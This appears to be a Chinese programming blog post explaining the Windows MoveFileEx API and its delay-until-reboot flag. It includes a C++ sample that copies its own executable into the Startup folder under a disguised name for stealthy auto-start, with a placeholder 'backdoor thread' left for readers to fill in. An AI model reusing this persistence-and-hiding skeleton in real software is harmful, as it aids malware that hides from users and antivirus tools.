- 浏览: 2035719 次
- 性别:
- 来自: 北京
文章分类
- 全部博客 (651)
- ACE (35)
- BAT (9)
- C/C++ (116)
- fast-cgi (14)
- COM (27)
- python (59)
- CGI (4)
- C# (2)
- VC (84)
- DataBase (29)
- Linux (96)
- P2P (6)
- PHP (15)
- Web (6)
- Memcached (7)
- IME输入法 (11)
- 设计模式 (2)
- 搜索引擎 (1)
- 个人情感 (4)
- 笔试/面试 (3)
- 一亩三分地 (33)
- 历史 (2)
- 地理 (1)
- 人物 (3)
- 经济 (0)
- 不仅仅是笑哦 (43)
- 小故事大道理 (2)
- http://www.bjdsmyysjk120.com/ (0)
- http://www.bjdsmyy120.com/ (0)
- 它山之石可以攻玉 (15)
- 大学生你关注些什么 (28)
- 数据恢复 (1)
最新评论
-
luokaichuang:
这个规范里还是没有让我明白当浏览器上传文件时,STDIN的消息 ...
FastCGI规范 -
effort_fan:
好文章!学习了,谢谢分享!
com技术简介 -
vcell:
有错误os.walk(strPath)返回的已经是全部的文件和 ...
通过python获取目录的大小 -
feifeigd:
feifeigd 写道注意:文章中的CPP示例第二行 #inc ...
ATL入门:利用ATL编写简单的COM组件 -
feifeigd:
注意:文章中的CPP示例第二行 #include " ...
ATL入门:利用ATL编写简单的COM组件
利用MoveFileEx实现程序的隐藏、自启动与自删除
一、了解MoveFileEx
MoveFileEx是MoveFile函数的扩展函数,也是用来移动文件,不过多加了一些功能。MoveFileEx函数的原型如下:
BOOL MoveFileEx (
LPCTSTR lpExistingFileName, LPCTSTR lpNewFileName, DWORD dwFlags );
第一个参数是要移动的文件名,第二个是移动后的文件名,最后一个参数决定了移动的方式。
仔细看最后一个参数可取的值,其中一项为MOVEFILE_DELAY_UNTIL_REBOOT ,MSDN中对此标记描述如下:
The function does not move the file until the operating system is restarted. The system moves the file immediately after AUTOCHK is executed, but before creating any paging files. Consequently, this parameter enables the function to delete paging files from previous startups.
This flag can only be used if the process is in the context of a user who belongs to the administrator group or the LocalSystem account.
This flag cannot be used with the MOVEFILE_COPY_ALLOWED flag.
当dwFlags被设为MOVEFILE_DELAY_UNTIL_REBOOT时,函数直到系统重启后才移动文件。注意文件的移动是发生在 AUTOCHK执行之后,在页面文件创建之前。而此时用户还没有完全的进入操作系统,所以可以应用这点删除那些正常情况下很难删除的文件甚至是页面文件。
lpNewFileName为NULL时,MovefileEx实现的就是删除的功能。很多杀毒软件和一些恶意程序删除工具就是利用了 MoveFileEx函数的这个特性来实现的重启后删除病毒。
MOVEFILE_DELAY_UNTIL_REBOOT标记使用时需要具有管理员或者LocalSystem用户的进程上下文。
MOVEFILE_DELAY_UNTIL_REBOOT标记不能和MOVEFILE_COPY_ALLOWED标记一同使用。因为在不同的卷下实现不了 真正的移动,MOVEFILE_COPY_ALLOWED标记使用的时候,函数通过模拟CopyFile 和 DeleteFile 两个函数实现移动。正在运行的程序不能移动到不同的卷(分区)下,这时只实现了Copyfile,下一步DeleteFile没有成功,正在运行的程序是 不能删除的。
当dwFlags参数被设置为MOVEFILE_DELAY_UNTIL_REBOOT时,MoveFileEx把重启后移动的文件和要移到的文件的位置 存在下面的多字符注册表值(REG_MULTI_SZ)里:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet \Control\Session\Manager\PendingFileRenameOperations。
#include "stdafx.h" #include <stdio.h> #pragma comment(linker,"/SUBSYSTEM:WINDOWS") DWORD WINAPI StartShell(LPVOID lpParam); int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { char szPath[100]={0}; ::GetSystemDirectory(szPath,MAX_PATH); char szDst[100]={0}; for (int i=0; i<3;i++) szDst[i]=szPath[i]; strcat(szDst,"Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\mao.exe"); TCHAR szTmp[MAX_PATH]={0}; if(!GetModuleFileName(NULL,szTmp,sizeof(szTmp))) { return 0; } int r; r=strcmp(szTmp,szDst); if(!r) { goto stop; } if(!CopyFile(szTmp,szDst,FALSE)) { return 0; } stop: //printf("\n\t 现在的目录是%s\n",szDst); //得到当前程序名 TCHAR szCurPath[MAX_PATH]; memset(szCurPath, 0, MAX_PATH); GetModuleFileName(NULL, szCurPath, sizeof(szCurPath)/sizeof(TCHAR)); if (!(MoveFileEx(szCurPath,"c:\\WINDOWS\\FK.BAK",MOVEFILE_REPLACE_EXISTING |MOVEFILE_COPY_ALLOWED)))//若是要在不同的volume下移动文件,需要此项 COPY_ALLOWED ::MessageBox(NULL,"第一次移动文件失败","test",MB_OK); if(!::MoveFileEx("c:\\WINDOWS\\FK.BAK",szDst,MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_REPLACE_EXISTING)) { ::MessageBox(NULL,"移动文件失败","test",MB_OK); } else printf("任务完成\n"); /*system("pause");*/ //创建并等待线程 //StartShell 为后门线程函数,大家可以自己实现相应的功能 HANDLE hthread=::CreateThread(NULL,NULL,StartShell,NULL,NULL,NULL); ::MessageBox(NULL,"哈哈 恶搞一下","test",MB_OK); CloseHandle(hthread); ::WaitForSingleObject(hthread,INFINITE); return 0; } DWORD WINAPI StartShell(LPVOID lpParam) { ::MessageBox(NULL,"哈哈 恶搞一下","test",MB_OK); return 0; }
发表评论
-
__declspec(novtable) 的用法
2010-11-27 14:37 1589__declspec(novtable) 的用法 __d ... -
解决URLDownloadToFile缓存问题的两种方法
2010-09-09 15:18 2925解决URLDownloadToFile缓存问题的两种方法 ... -
修改richedit背景
2010-07-19 22:52 1652RichEditCtrl::SetBackgroundCo ... -
使用ADO封装类的数据库程序开发实例(下)
2010-07-12 15:30 1480使用ADO封装类的数据库 ... -
使用ADO封装类的数据库程序开发实例(上)
2010-07-12 15:28 1218使用ADO封装类的数据库 ... -
VC防止窗口和控件闪烁的方法
2010-07-09 21:16 20281、将Invalidate()替换为Invalidate ... -
防止窗口闪烁地办法
2010-07-09 21:13 1518防止窗口闪烁地办法 也许我们都碰到过这种情况,当你 ... -
使用ADO _ConnectionPtr
2010-07-06 16:04 5271// GetUser.cpp : Defines the ... -
VC用ADO访问数据库全攻略
2010-07-06 15:29 1801VC用ADO访问数据库全 ... -
深入GetMessage和PeekMessage (引自-MSDN技术组)
2010-06-10 16:59 3731深入GetMessage和PeekMessage (引自 ... -
界面编程总结(1)
2010-06-02 13:32 4016原文地址:http://blog.csdn.net/byx ... -
获取信息的有关Windows API
2010-05-27 10:01 3151获取信息的有关Windows API 1.窗口信息 ... -
VC中如何实现窗口的隐藏
2010-05-13 10:08 7874VC中如何实现窗口的隐藏 用MFC做的Dialog ... -
SetConsoleCtrlHandler 处理控制台消息
2010-05-07 17:32 18160SetConsoleCtrlHandler 处理控制台消 ... -
解决决错误: error C2850: 'PCH header file'
2010-04-27 19:45 1957解决决错误: error C2850: 'PCH hea ... -
VC++ GDI+编程的字体和文本绘制
2010-04-13 13:12 7986字体是文字显示和打印的外观形式,它包括了文字的字样、风格和尺寸 ... -
VC利用GDI+显示透明的PNG图片
2010-04-12 16:59 115521.在你将要使用GDI+的工程中,完成初始化 ... -
GDI+编程基础(一)GDI+ Vs GDI
2010-04-12 15:59 2340下载源代码一、GDI GDI是位于应用程序与不同硬件之间 ... -
VC画图
2010-04-12 15:50 1546BOOL DrawPic(HDC hdc, TCHAR* ... -
对话框的数据交换--MFC深入浅出
2010-04-12 10:43 2467对话框数据交换指以下两种动作,或者是把内存数据写入对应的控 ...
相关推荐
值得注意的是,这种技术虽然可用于合法的程序自启动需求,但由于其绕过杀毒软件监控的能力,也经常被恶意软件利用,用于逃避检测和清除,因此在实际应用中应谨慎处理,确保不会对系统的安全性造成威胁。对于安全研究...
然后调用`MoveFileEx`函数,如果成功,程序会输出提示信息,告知用户文件将在下次启动时被删除。如果失败,会输出错误代码以供排查问题。 需要注意的是,使用`MoveFileEx`函数进行重启删除操作时,必须具备相应的...
在尝试删除运行中的程序时,`MoveFileEx`带有`MOVEFILE_DELAY_UNTIL_REBOOT`标志,可以在系统重新启动时删除文件,这样可以避免因为程序正在运行而无法删除的问题。使用这个函数时,你需要提供源文件路径和目标文件...
在本文中,我们将聚焦于如何利用Delphi的特性来实现程序的自动更新功能。 #### 实现原理 自动更新的核心思想是让程序能够检测到服务器上的新版本,并下载更新包进行替换。这一过程通常包含以下步骤: 1. **版本...
begin moveFileEx(pchar(OpenDialog1.FileName),pchar('C:\' extractfilename(opendialog1.FileName)),MOVEFILE_COPY_ALLOWED); showmessage('文件已移动到C盘跟目录下'); end else showmessage('无法复制...
在编写恶意软件时,开发者可能会利用自删除功能来隐藏其踪迹,使得目标系统上的恶意程序在执行完特定任务后自动消失。自删除通常通过调用Windows API中的`DeleteFile`或`MoveFileEx`函数来实现。 然而,现代杀毒...
本节将详细介绍如何利用VC来实现自动升级本地程序的功能,包括自动检测新版本、下载更新包以及替换本地程序。 一、自动升级流程概述 1. **检测新版本**:在用户启动程序时,首先检查服务器上的版本信息,与本地...
例如,在Windows系统中,可以使用`MoveFileEx`函数,通过传递`MOVEFILE_DELAY_UNTIL_REBOOT`标志,使得文件在下次启动时删除。 6. **进程虚拟化**:在某些高级编程环境中,如Java的JAR文件,可以利用虚拟化的特性,...
在Windows编程中,API(应用程序接口)是操作系统提供给开发者用于控制操作系统功能的函数集合。在本主题中,我们关注的是API函数`SHFileOperationA`,它是一个强大的工具,可以执行多种文件操作,如复制、移动和...
在计算机编程中,程序运行时改名是一个相对复杂的过程,因为程序一旦启动,它自身的文件名可能已经被操作系统锁定,无法直接修改。易语言通过特定的系统调用和编程技巧来实现这一功能,可能涉及到以下几个知识点: ...
在IT领域,有时候我们会遇到一些文件由于各种原因无法立即删除,比如文件正在被其他程序使用、系统进程占用或者权限问题。在这种情况下,"对无法立即删除文件进行延迟删除的工具"就显得非常实用。这个工具专门针对...
在 Delphi 开发环境中,有时候我们需要处理一些特殊的情况,例如删除或移动正在被其他程序使用的文件。这种情况在常规操作中可能会遇到错误,因为操作系统通常不允许对正在使用的文件进行修改。然而,通过特定的技术...
本话题聚焦于一个特定的应用——"文件名批量改小写,MFC程序",这是一个利用MFC构建的程序,旨在帮助用户批量将文件名转换为小写格式。 批量更改文件名是一项常见的需求,特别是在处理大量文件时,可能由于大小写不...
这个“vc++ 文件夹处理程序”是利用VC++编写的,旨在提供一系列对文件夹进行操作的功能。下面我们将深入探讨相关的知识点。 首先,文件夹处理在计算机编程中是一个基础但重要的部分,涉及到文件系统的管理和操作。...
本文将详细介绍如何通过修改注册表中的特定键值来实现在系统重启时自动删除指定文件的功能。 #### 二、注册表键值详解 ##### 1. 注册表路径 - **路径**:`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\...
1. **程序启动与初始化**:程序开始运行时,会进行一些初始化操作,如设置窗口、加载资源等。在这个源码中,这部分可能包含了获取当前运行程序的完整路径和文件名。 2. **获取运行程序信息**:为了能够修改自身...
【VC工程改名程序(源码)】是一个实用工具,主要针对使用Visual C++ (VC) 开发环境的程序员。在编程过程中,我们经常会遇到创建多个项目并复用相同或相似工程框架的情况。这时,如果想要对现有工程进行改造或者为新...
本篇文章将详细讲解如何利用API函数来实现文件的拷贝、移动和删除操作。 首先,我们需要引入核心的API库,如`kernel32.dll`,这个库包含了大部分关于文件操作的函数。为了调用这些API,我们需要包含`Windows.h`...
因此,Windows 提供了 MoveFileEx API 来重命名或删除文件,并允许调用方指定让此操作在下一次系统启动时在引用该文件之前执行。会话管理器会从 HKLM\System\CurrentControlSet\Control\Session Manager\...
在Windows操作系统中,API(应用程序接口)函数是程序员与系统交互的主要方式,它们提供了丰富的功能,包括对文件的管理操作,如拷贝、移动和删除。本知识点将深入探讨如何利用API函数来实现这些基本的文件操作。 ...